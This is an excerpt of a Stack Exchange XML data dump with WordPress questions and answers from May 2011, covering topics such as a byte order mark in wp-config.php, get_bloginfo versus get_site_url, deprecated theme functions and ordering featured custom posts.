  <row Id="16154" PostTypeId="2" ParentId="15303" CreationDate="2011-05-02T07:11:09.917" Score="1" ViewCount="" Body="&lt;p&gt;Finally, I've got it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sniffing the HTTP resonses indicated that a few extra bytes were being inserted between the headers and body of the http response, resulting in bad image data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further investigation revealed that these characters represent a Unicode Byte Order Mark (BOM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These, in turn, were caused by a Windows editor that saved wp-config.php with a UTF-8 encoding that includes the BOM. Re-saving the wp-config file using a editor (Notepad++) that can strip the BOM resolved the problem. The only additional requirement was to flush the browser cache to clear the bad response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone else who has a similar problem. It has taken me literally &lt;em&gt;hours&lt;/em&gt; to fins the answer, but I've learned a &lt;em&gt;lot&lt;/em&gt; on the way.&lt;/p&gt;&#xA;" OwnerUserId="4616" LastActivityDate="2011-05-02T07:11:09.917" />
  <row Id="16155" PostTypeId="2" ParentId="16152" CreationDate="2011-05-02T07:14:11.393" Score="1" ViewCount="" Body="&lt;p&gt;The main problem is you are using static &lt;a href=&quot;http://www.php.net/manual/en/language.pseudo-types.php#language.types.callback&quot; rel=&quot;nofollow&quot;&gt;callbacks&lt;/a&gt; while you should be passing on the object so you have access to your class properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fire off the initialization like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Myclass {&#xA;&#xA;  public function __construct() {&#xA;    // Object method call, instead of a static one&#xA;    add_action('init', array($this, 'init'));&#xA;  }&#xA;&#xA;  public function init() {&#xA;    // add_shortcode(...);&#xA;  }&#xA;&#xA;}&#xA;&#xA;// Trigger constructor&#xA;new Myclass;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On another note, instead of hard-coding styles in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, you may prefer to customize the body classes instead. The filter &lt;code&gt;body_class&lt;/code&gt; is available for that (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15850/remove-classes-from-body-class&quot;&gt;related example&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-02T07:14:11.393" />
  <row Id="16156" PostTypeId="1" AcceptedAnswerId="16157" CreationDate="2011-05-02T07:27:37.017" Score="1" ViewCount="57" Body="&lt;p&gt;In the latest version of WP it's gone. Why?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2011-05-02T07:38:06.777" Title="Where did the Add New Custom Field go?" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="16157" PostTypeId="2" ParentId="16156" CreationDate="2011-05-02T07:38:06.777" Score="3" ViewCount="" Body="&lt;p&gt;It seems that it still exists, you just have to enable showing it, with screen options &lt;a href=&quot;http://theandystratton.com/2011/wordpress-3-1-admin-bar-and-i-cant-see-custom-fields&quot; rel=&quot;nofollow&quot;&gt;http://theandystratton.com/2011/wordpress-3-1-admin-bar-and-i-cant-see-custom-fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-05-02T07:38:06.777" />
  <row Id="16158" PostTypeId="1" AcceptedAnswerId="16203" CreationDate="2011-05-02T07:52:18.820" Score="2" ViewCount="190" Body="&lt;p&gt;Running Wordpress 3.1.2 (newly updated, installed as 3.0 about a year ago) with subdomain multisite &amp;amp; using the Sunrise domain mapping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frontend is fast, the backend (wp-admin) is very slow on the network admin site (www.example.com/wp-admin) but runs at &quot;normal speed&quot; on one of the subdomain backends (foo.example.com/wp-admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is our own, Ubuntu 10.04 with mod_security (which I've heard can slow things down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to speed up the backend or run a trace somehow?&lt;/p&gt;&#xA;" OwnerUserId="827" LastEditorUserId="827" LastEditorDisplayName="" LastEditDate="2011-05-03T06:06:50.947" LastActivityDate="2011-05-03T06:06:50.947" Title="wp-admin slow in multisite" Tags="&lt;multisite&gt;&lt;wp-admin&gt;&lt;3.1&gt;&lt;performance&gt;" AnswerCount="1" />
  <row Id="16159" PostTypeId="1" AcceptedAnswerId="16169" CreationDate="2011-05-02T08:07:20.163" Score="0" ViewCount="71" Body="&lt;p&gt;I'm looking for a plugin that could help me managing more precisely medias. I'd like to be able to manage folders and sub-folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out the ImageManager plugin but it's kind of outdated (http://soderlind.no/archives/2006/01/03/imagemanager-20/) so if anyone can help ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : working on WP 3.1.1&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-02T10:20:57.650" LastActivityDate="2011-05-02T12:25:49.827" Title="Managing media by folder" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="16160" PostTypeId="1" AcceptedAnswerId="16172" CreationDate="2011-05-02T08:07:56.150" Score="0" ViewCount="63" Body="&lt;p&gt;I understand its advantage for something which will be released in public, but does it do any good for a developer by saving efforts as the code evolves over time? Like right now, I am hardcoding the table name in my queries, what if I was to change the name or something?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-02T13:55:59.753" Title="Advantages of dbDelta" Tags="&lt;database&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16161" PostTypeId="1" AcceptedAnswerId="16171" CreationDate="2011-05-02T08:26:56.677" Score="4" ViewCount="316" Body="&lt;p&gt;I am developing a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know difference between&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_bloginfo('url');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_site_url();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got same output, then what's the difference?&lt;/p&gt;&#xA;" OwnerUserId="4314" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-02T13:41:10.790" LastActivityDate="2011-05-02T15:02:07.270" Title="What is difference between get_bloginfo('url') and get_site_url()?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;bloginfo&gt;&lt;site-url&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="16162" PostTypeId="1" CreationDate="2011-05-02T08:45:15.383" Score="0" ViewCount="109" Body="&lt;p&gt;Found this code, but not sure how to use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/iXjGcrc3&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/iXjGcrc3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to remove a couple of categories from the show_option_all &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="5005" LastActivityDate="2011-05-02T08:45:15.383" Title="Found this code, will it work to filter show_option_all?" Tags="&lt;categories&gt;&lt;taxonomy&gt;" CommentCount="1" />
  <row Id="16163" PostTypeId="2" ParentId="16161" CreationDate="2011-05-02T08:50:01.940" Score="0" ViewCount="" Body="&lt;p&gt;Check out the parameters over at Codex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_site_url&quot; rel=&quot;nofollow&quot;&gt;get_site_url&lt;/a&gt;&lt;/strong&gt; / &#xA;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bloginfo&quot; rel=&quot;nofollow&quot;&gt;get_bloginfo&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-02T08:50:01.940" CommentCount="2" />
  <row Id="16164" PostTypeId="2" ParentId="16161" CreationDate="2011-05-02T08:53:22.640" Score="0" ViewCount="" Body="&lt;p&gt;From 'wp-includes/general-template.php'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_bloginfo( $show = '', $filter = 'raw' ) {&#xA;&#xA;switch( $show ) {&#xA;      case 'home' : // DEPRECATED&#xA;      case 'siteurl' : // DEPRECATED&#xA;        _deprecated_argument([snipped]);&#xA;      case 'url' :&#xA;        $output = home_url();&#xA;        break;&#xA;      case 'wpurl' :&#xA;        $output = site_url();&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_bloginfo('home')&lt;/code&gt;, &lt;code&gt;get_bloginfo('siteurl')&lt;/code&gt; and &lt;code&gt;get_bloginfo('url')&lt;/code&gt; are equivalent to calling &lt;code&gt;home_url()&lt;/code&gt; (also note that the use of &lt;strong&gt;home&lt;/strong&gt; and &lt;strong&gt;siteurl&lt;/strong&gt; as get_bloginfo parameters is deprecated) &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_bloginfo('wpurl')&lt;/code&gt; is the same as calling &lt;code&gt;site_url()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-02T15:02:07.270" LastActivityDate="2011-05-02T15:02:07.270" CommentCount="2" />
  <row Id="16165" PostTypeId="2" ParentId="16148" CreationDate="2011-05-02T09:00:08.253" Score="1" ViewCount="" Body="&lt;p&gt;I found this plugin: &lt;a href=&quot;http://www.quickonlinetips.com/archives/2007/01/batch-categories-wordpress-plugin-bulk-edit-your-categories/&quot; rel=&quot;nofollow&quot;&gt;batch categories plugin&lt;/a&gt;. I don't know anything about it, but it looks like it meets your needs&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-05-02T09:00:08.253" CommentCount="1" />
  <row Id="16166" PostTypeId="1" AcceptedAnswerId="16167" CreationDate="2011-05-02T10:16:57.203" Score="2" ViewCount="265" Body="&lt;p&gt;I just installed WordPress 3.1.2, I got &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;`Notice: automatic_feed_links is deprecated since version 3.0! Use add_theme_support( 'automatic-feed-links' ) instead. in /works/web/elements/wp-includes/functions.php on line 3303 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also got an error about Cannot open stream or something about &lt;code&gt;wp-cron.php?doing-cron&lt;/code&gt; or something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its WordPress's own code, plus from a fresh install, this should not happen right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I got was &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Warning:&#xA;  fopen(http://elements/wp-cron.php?doing_wp_cron):&#xA;  failed to open stream: HTTP request&#xA;  failed! in&#xA;  /works/web/elements/wp-includes/class-http.php&#xA;  on line 1063&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Running WordPress 3.1.2 fresh install &lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2011-05-07T12:13:07.080" LastActivityDate="2011-06-26T01:27:40.120" Title="Getting Warnings &amp; Notices from Fresh WordPress 3.1.2 install" Tags="&lt;errors&gt;&lt;warnings&gt;" AnswerCount="3" />
  <row Id="16167" PostTypeId="2" ParentId="16166" CreationDate="2011-05-02T10:46:58.353" Score="4" ViewCount="" Body="&lt;p&gt;it sounds like even though its a fresh install of WP 3.1.2 that you are also using an existing theme that is using a deprecated function (you havent said so but im presuming), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so paste this into your themes functions.php file (if your theme doesnt have one just create one and save it in your themes root folder)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(function_exists('add_theme_support')) {&#xA;add_theme_support('automatic-feed-links');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-05-02T10:55:10.557" LastActivityDate="2011-05-02T10:55:10.557" CommentCount="1" />
  <row Id="16168" PostTypeId="2" ParentId="16166" CreationDate="2011-05-02T12:23:51.700" Score="1" ViewCount="" Body="&lt;p&gt;In addition to Martin's answer: the &lt;code&gt;?doing-cron&lt;/code&gt; error message is probably due to having &lt;code&gt;ALTERNATE_CRON&lt;/code&gt; set to &lt;code&gt;true&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T12:23:51.700" CommentCount="5" />
  <row Id="16169" PostTypeId="2" ParentId="16159" CreationDate="2011-05-02T12:25:49.827" Score="1" ViewCount="" Body="&lt;p&gt;You might give &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;NextGEN Gallery Plugin&lt;/a&gt; a try. While not specifically intended for sub-folder management of media, the end result is the same, since images added to galleries are organized by folder.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T12:25:49.827" CommentCount="1" />
  <row Id="16170" PostTypeId="2" ParentId="16161" CreationDate="2011-05-02T12:36:58.213" Score="0" ViewCount="" Body="&lt;p&gt;IIRC, the primary difference between &lt;code&gt;home_url()&lt;/code&gt;/&lt;code&gt;get_site_url()&lt;/code&gt; and their &lt;code&gt;get_bloginfo()&lt;/code&gt; analogs is that &lt;code&gt;home_url()&lt;/code&gt;/&lt;code&gt;get_site_url()&lt;/code&gt; return the proper http/https scheme, while &lt;code&gt;get_bloginfo()&lt;/code&gt; doesn't.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T12:36:58.213" CommentCount="2" />
  <row Id="16171" PostTypeId="2" ParentId="16161" CreationDate="2011-05-02T13:31:14.943" Score="5" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;get_bloginfo('url')&lt;/code&gt;&lt;/strong&gt; calls &lt;code&gt;home_url()&lt;/code&gt; calls &lt;code&gt;get_home_url()&lt;/code&gt; reads option &lt;code&gt;home&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;get_bloginfo('wpurl')&lt;/code&gt; calls &lt;code&gt;site_url()&lt;/code&gt; calls &lt;strong&gt;&lt;code&gt;get_site_url()&lt;/code&gt;&lt;/strong&gt; reads option &lt;code&gt;siteurl&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_bloginfo('siteurl')&lt;/code&gt; and &lt;code&gt;get_bloginfo('home')&lt;/code&gt; are deprecated arguments and return &lt;code&gt;get_bloginfo('url')&lt;/code&gt; (&lt;code&gt;siteurl&lt;/code&gt; argument is documented wrong in Codex as equal to &lt;code&gt;wpurl&lt;/code&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/general-template.php#L404&quot; rel=&quot;nofollow&quot;&gt;it's not in current code&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The difference is that these two function chain to different options, which are typically same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be more appropriate to compare &lt;code&gt;get_bloginfo('url')&lt;/code&gt; to &lt;code&gt;get_home_url()&lt;/code&gt; or &lt;code&gt;get_bloginfo('wpurl')&lt;/code&gt; to &lt;code&gt;get_site_url()&lt;/code&gt;. Then the answer is that these functions are on different level in chain. Typically the deeper function is - the more flexible it is and the less filters output passes through.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-02T13:44:01.957" LastActivityDate="2011-05-02T13:44:01.957" />
  <row Id="16172" PostTypeId="2" ParentId="16160" CreationDate="2011-05-02T13:55:59.753" Score="1" ViewCount="" Body="&lt;p&gt;The purpose of &lt;code&gt;dbDelta()&lt;/code&gt; is both to create and update tables. If you don't need updates then you can skip it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For keeping track of name you can simply follow WP convention and save name of your table in field of &lt;code&gt;$wpdb&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you should consider there is possibility of code running on multisite. Even if you are not releasing it you might need to run it that way one day and then you are in for a painful refactoring if all table-related stuff is hardcoded.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-02T13:55:59.753" CommentCount="5" />
  <row Id="16173" PostTypeId="2" ParentId="16151" CreationDate="2011-05-02T14:02:27.440" Score="2" ViewCount="" Body="&lt;p&gt;Yep, just declare global &lt;code&gt;$wpdb&lt;/code&gt; early enough and modify its fields. Codex docs for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_metadata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_metadata()&lt;/code&gt;&lt;/a&gt; say exactly that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that you will also have to register the table with the $wpdb object in order for it to work. Simply add the following to WordPress' init hook (or at least before you attempt to use any custom metadata functions).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$wpdb-&amp;gt;termmeta = $wpdb-&amp;gt;prefix.'termmeta';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-02T14:02:27.440" />
  <row Id="16174" PostTypeId="1" AcceptedAnswerId="16178" CreationDate="2011-05-02T14:08:15.713" Score="0" ViewCount="213" Body="&lt;p&gt;I have a custom post type (CPT) called &lt;code&gt;property&lt;/code&gt;. I have registered a featured property &lt;code&gt;metabox&lt;/code&gt;for it as explained in this question &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9968/how-do-i-create-a-featured-post-within-a-custom-post-type&quot;&gt;How do I create a featured post within a custom post type?&lt;/a&gt;&quot;. So a featured property has got &lt;code&gt;meta_key='property_featured'&lt;/code&gt; and &lt;code&gt;meta_value=on&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is to display &lt;strong&gt;all&lt;/strong&gt; &lt;code&gt;property&lt;/code&gt; posts, but order them by &lt;code&gt;meta_key='property_featured'&lt;/code&gt;. So that featured properties will appear first in the list on the first page. Similar behavior as &lt;code&gt;Sticky Posts&lt;/code&gt; functionality. And all the rest &lt;code&gt;property&lt;/code&gt; posts will be ordered by date created. Also, I need to make sure that pagination is working correctly - treating all the &lt;code&gt;property&lt;/code&gt; posts alltogether. I use custom pagination code explained &lt;a href=&quot;http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. (Hope that makes sense).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to specify arguments for WP_Query. However, if I specify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_key' =&amp;gt; 'property_featured',&#xA;'orderby' =&amp;gt; 'meta_value'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;strong&gt;only&lt;/strong&gt; &lt;code&gt;property&lt;/code&gt; posts with that key are displayed as opposite to &lt;strong&gt;all&lt;/strong&gt; &lt;code&gt;property&lt;/code&gt; posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I delete &lt;code&gt;meta_key&lt;/code&gt; from arguments then the query doesn't know what to sort them by. &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I display all the &lt;code&gt;property&lt;/code&gt; posts, making sure that &lt;code&gt;featured&lt;/code&gt; ones appear first and all other &lt;code&gt;property&lt;/code&gt; posts order by published date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-04T19:45:39.827" LastActivityDate="2011-05-04T19:45:39.827" Title="Display all custom post type posts and order them by an optional meta_key" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;sticky-post&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16175" PostTypeId="2" ParentId="16038" CreationDate="2011-05-02T14:15:51.257" Score="1" ViewCount="" Body="&lt;p&gt;WordPress.com &lt;a href=&quot;http://en.support.wordpress.com/code/#javascript&quot; rel=&quot;nofollow&quot;&gt;does not allow to post JavaScript&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should follow instruction on &lt;a href=&quot;http://en.support.wordpress.com/code/posting-source-code/&quot; rel=&quot;nofollow&quot;&gt;posting source code&lt;/a&gt; or put it on externals snippets service (such as &lt;a href=&quot;https://gist.github.com/&quot; rel=&quot;nofollow&quot;&gt;Gist&lt;/a&gt; for example) and link to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately neither will do as active clickable bookmarklet link.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-02T14:15:51.257" />
  <row Id="16176" PostTypeId="2" ParentId="16038" CreationDate="2011-05-02T14:38:22.727" Score="0" ViewCount="" Body="&lt;p&gt;Create a clickable link on &lt;a href=&quot;http://jsfiddle.net/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/&lt;/a&gt; and link to it.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-02T14:38:22.727" CommentCount="1" />
  <row Id="16177" PostTypeId="2" ParentId="16174" CreationDate="2011-05-02T14:50:32.707" Score="0" ViewCount="" Body="&lt;p&gt;I think what you are trying to do her is a little too complex. Essentially you want two (meta and date) sort orders applied. Also I think that order by meta value will not work for posts that don't have that value at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stickes is accurate comparison, but note that they are not handled by SQL request, but by completely separate code - they are re-ordered, fetched and applied to results of already completed query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you want to fork and rewrite stickes logic I think the easiest way would be to move your featured posts to separate loop.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-02T14:50:32.707" />
  <row Id="16178" PostTypeId="2" ParentId="16174" CreationDate="2011-05-02T14:51:06.543" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// query posts&#xA;$query_property = query_posts( array( &#xA;     'orderby'    =&amp;gt; 'date meta_value' // orderby date AND meta value&#xA;) );&#xA;&#xA;// First loop&#xA;$query_feat = $query_string.'&amp;amp;meta_value=on&amp;amp;meta_key=property_featured';&#xA;// Offset for second loop&#xA;$query_all = $query_string.'&amp;amp;offset=3&amp;amp;meta_key=property_featured';&#xA;&#xA;// First loop&#xA;if ( $query_feat-&amp;gt;have_posts() : while ( $query_feat-&amp;gt;have_posts() ) : # etc....&#xA;    // do stuff&#xA;endif;&#xA;&#xA;// Second loop&#xA;if ( $query_all-&amp;gt;have_posts() : while ( $query_all-&amp;gt;have_posts() ) : # etc....&#xA;    // do stuff&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-02T14:51:06.543" CommentCount="2" />
  <row Id="16180" PostTypeId="1" CreationDate="2011-05-02T15:42:27.843" Score="0" ViewCount="70" Body="&lt;p&gt;I copied a Wordpress site from a live web server to a local web server to run some tests and prepare to move to a new host, and I seem to have broken the &lt;code&gt;wp_list_pages&lt;/code&gt; function.  I updated the &lt;code&gt;siteurl&lt;/code&gt; and &lt;code&gt;home&lt;/code&gt; options with their respective new urls, and tweaked the &lt;code&gt;.htaccess&lt;/code&gt; files and permalink settings, but it's still not working.  The &lt;code&gt;exclude&lt;/code&gt; field seems to still be set correctly, too.  I've even checked the &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;moving instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting somewhere that I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The existing host is using PHP 5.2.14 and I'm using 5.3.2.  Here's the code that is failing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $exclude = str_replace(' ', '', trim(get_option('exclude_ids')));&#xA;        if ($exclude) $exclude = '&amp;amp;exclude='.$exclude.'';&#xA;        echo wp_list_pages('sort_column=menu_order&amp;amp;title_li=&amp;amp;echo=0&amp;amp;depth=2'.$exclude);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5051" LastActivityDate="2011-05-02T15:42:27.843" Title="moved site, wp_list_pages stops working" Tags="&lt;functions&gt;&lt;3.1&gt;" CommentCount="12" />
  <row Id="16181" PostTypeId="2" ParentId="16041" CreationDate="2011-05-02T15:50:28.340" Score="1" ViewCount="" Body="&lt;p&gt;I believe the answer you want is here:&#xA;&lt;a href=&quot;http://forum.go41.de/topic/change-width-and-height-in-oembed-code-on-the-fly-wp-29&quot; rel=&quot;nofollow&quot;&gt;http://forum.go41.de/topic/change-width-and-height-in-oembed-code-on-the-fly-wp-29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-05-02T15:50:28.340" CommentCount="1" />
  <row Id="16182" PostTypeId="1" AcceptedAnswerId="16183" CreationDate="2011-05-02T15:56:00.967" Score="0" ViewCount="56" Body="&lt;p&gt;I looked 2 days now but I couldn't figure out how this is done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new page in wordpress. This is easy. Then I see, that I can put content into the page. This is easy too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I edit the page and add let's say the googlemaps api to it. I know there is a plugin but for some technical reasons I need to use the normal include of google maps. =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name of my page is &quot;About&quot;. I can't find any about.html or about.php in my wordpress folder.&lt;/p&gt;&#xA;" OwnerUserId="5052" LastActivityDate="2011-05-02T16:11:04.907" Title="After creating a new page, filling the page with structure" Tags="&lt;page&gt;&lt;editor&gt;&lt;structure&gt;" AnswerCount="1" />
  <row Id="16183" PostTypeId="2" ParentId="16182" CreationDate="2011-05-02T16:11:04.907" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet is to create a new &quot;physical page&quot; and save it in your theme root folder as a template called something suchlike tpl_aufwind.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * Template Name: Aufwind&#xA; *&#xA; *&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will need that code above at the very top of the tpl_aufwind.php so that it shows up in wp-admin dashboard &gt;&gt; pages &gt;&gt; Page Attributes (right sidebar) &gt;&gt; Template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;Create Your Own Wordpress Template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your options then if you need to add google maps the normal way is to hardcode it in (or if you know of a plugin where you can use a shortcode try that), but if you are using shortcodes or wish to show more on the page than just the Google Maps api then add a wp loop either above or below your hardcode so at least something on the page can be edited via the admin pages panel&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-02T16:11:04.907" CommentCount="1" />
  <row Id="16184" PostTypeId="2" ParentId="15993" CreationDate="2011-05-02T16:20:20.120" Score="3" ViewCount="" Body="&lt;p&gt;Looks like you can hook into the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_create_thumbnail?version=3.1&amp;amp;file=wp-admin/includes/image.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_create_thumbnail&lt;/code&gt; filter&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {&#xA;if ( !empty( $deprecated ) )&#xA;     _deprecated_argument( __FUNCTION__, '1.2' );&#xA;     $thumbpath = image_resize( $file, $max_side, $max_side );&#xA;     return apply_filters( 'wp_create_thumbnail', $thumbpath );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So just do your manipulation, and return the result to &lt;code&gt;wp_create_thumbnail&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T16:20:20.120" CommentCount="3" />
